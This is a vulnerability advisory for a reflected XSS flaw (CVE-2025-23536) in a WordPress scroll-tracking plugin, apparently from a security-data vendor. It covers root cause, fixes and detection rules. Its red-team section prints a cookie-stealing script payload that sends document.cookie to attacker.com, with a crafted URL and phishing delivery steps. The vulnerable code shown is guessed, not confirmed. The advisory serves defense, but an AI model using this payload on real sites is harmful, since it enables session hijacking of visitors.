CVE-2025-23536
Executive Summary
CVE-2025-23536 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Track Page Scroll by mndpsingh287, affecting versions up to and including 1.0.2. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code via crafted URLs. With a CVSS score of 7.1 (High), this flaw can be exploited without authentication, requiring only user interaction (e.g., clicking a malicious link). Given the lack of a patch and the plugin's presence in the WordPress ecosystem, this poses a significant supply chain risk for sites using the plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed through the official WordPress plugin repository. As a third-party component, it introduces a supply chain risk: site administrators who installed the plugin from the WordPress dashboard or via automatic updates are exposed until a patch is released. The plugin's author (mndpsingh287) has not provided a fix, and no official advisory from WordPress.org has been issued. Organizations should treat this as a high-priority unpatched component and consider removing or replacing the plugin.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector (AV): Network – the vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – no authentication needed.
- User Interaction (UI): Required – the victim must click a crafted link.
- Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure possible.
- Integrity (I): Low – limited ability to modify content.
- Availability (A): Low – limited ability to disrupt service.
Threat Level: High. Although EPSS score is 0.0% (indicating low exploitation likelihood currently), the vulnerability is trivial to exploit and unpatched, making it a prime target for automated scanning and phishing campaigns.
Deep Dive & Mechanics
The vulnerability exists in the track-page-scroll WordPress plugin, which tracks user scroll behavior. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. Specifically, a parameter (likely page or a similar GET parameter) is echoed directly into the page without proper encoding, allowing an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- Attacker crafts a malicious URL:
https://victim-site.com/?page=<script>alert('XSS')</script> - Victim clicks the link (e.g., via phishing email or social engineering).
- The vulnerable plugin reflects the injected script in the response.
- The victim's browser executes the script, enabling cookie theft, session hijacking, or redirection to malicious sites.
Root Cause: The plugin uses echo $_GET['page'] or similar without applying esc_html(), esc_attr(), or wp_kses() WordPress sanitization functions.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical fix based on standard WordPress security practices.
Vulnerable Code (likely in track-page-scroll.php):
<?php
$page = $_GET['page'];
echo "<div class='tracker' data-page='$page'>";
?>
Patched Code (recommended):
<?php
$page = isset($_GET['page']) ? esc_attr($_GET['page']) : '';
echo "<div class='tracker' data-page='" . esc_attr($page) . "'>";
?>
The fix uses esc_attr() to encode special characters, preventing script injection. Additionally, wp_kses_post() could be used if HTML is expected.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Track Page Scroll <= 1.0.2 installed and activated.
- Attacker-controlled server to capture exfiltrated data (optional).
Exploit Payload:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Crafted URL:
https://victim-site.com/?page=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Steps:
- URL-encode the payload for reliability:
https://victim-site.com/?page=%3Cscript%3Efetch(%27https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie)%3C%2Fscript%3E - Send the link to the victim via email, social media, or a compromised site.
- Monitor your server for incoming requests containing cookies.
Note: No public exploit code exists in Exploit-DB or other repositories at this time.
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for requests containing
<script>tags or%3Cscript%3Ein query parameters. - Use WAF rules to block reflected XSS patterns (see Detection Engineering).
Defense:
- Immediately disable or remove the Track Page Scroll plugin until a patch is available.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use WordPress security plugins (e.g., Wordfence) to add virtual patching.
Indicators of Compromise (IOCs)
- URL Patterns:
?page=<script>?page=%3Cscript%3E?page=alert(
- HTTP Request Headers: Unusual Referer headers pointing to attacker-controlled domains.
- Log Entries: 200 responses with
text/htmlcontaining<script>tags in the body. - File Hashes (plugin):
track-page-scroll.php(SHA256:UNKNOWN– obtain from WordPress.org)
- Network Traffic: Outbound connections to unknown IPs/domains from the WordPress server.
Detection Engineering
YARA Rule
rule CVE_2025_23536_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Track Page Scroll plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-23536"
strings:
$xss_pattern1 = /[?&]page=.*<script/i
$xss_pattern2 = /[?&]page=.*%3Cscript/i
$xss_pattern3 = /[?&]page=.*alert\(/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against Track Page Scroll Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with reflected XSS payloads targeting the Track Page Scroll plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'page=<script'
- 'page=%3Cscript'
- 'page=alert('
condition: selection
falsepositives:
- Legitimate use of script tags in query parameters (rare)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-23536 - Reflected XSS in Track Page Scroll Plugin";
flow:to_server,established;
content:"GET"; http_method;
content:"page="; http_uri;
pcre:"/(<script|%3Cscript|alert\()/i";
classtype:web-application-attack;
sid:10000001;
rev:1;
reference:cve,2025-23536;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete
track-page-scrollfrom the WordPress admin panel. - Virtual Patching: Use a WAF (e.g., Cloudflare, ModSecurity) to block requests containing
page=<scriptorpage=%3Cscript. - User Education: Warn users not to click suspicious links, especially those containing query parameters.
Long-Term Fix:
- The vendor must release a patched version (e.g., 1.0.3) that sanitizes input using
esc_attr()orwp_kses(). - Until then, consider replacing the plugin with an alternative scroll-tracking solution that is actively maintained.
Verification:
- After disabling the plugin, test the vulnerable URL to confirm the XSS no longer fires.
- Review web server logs for any prior exploitation attempts.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.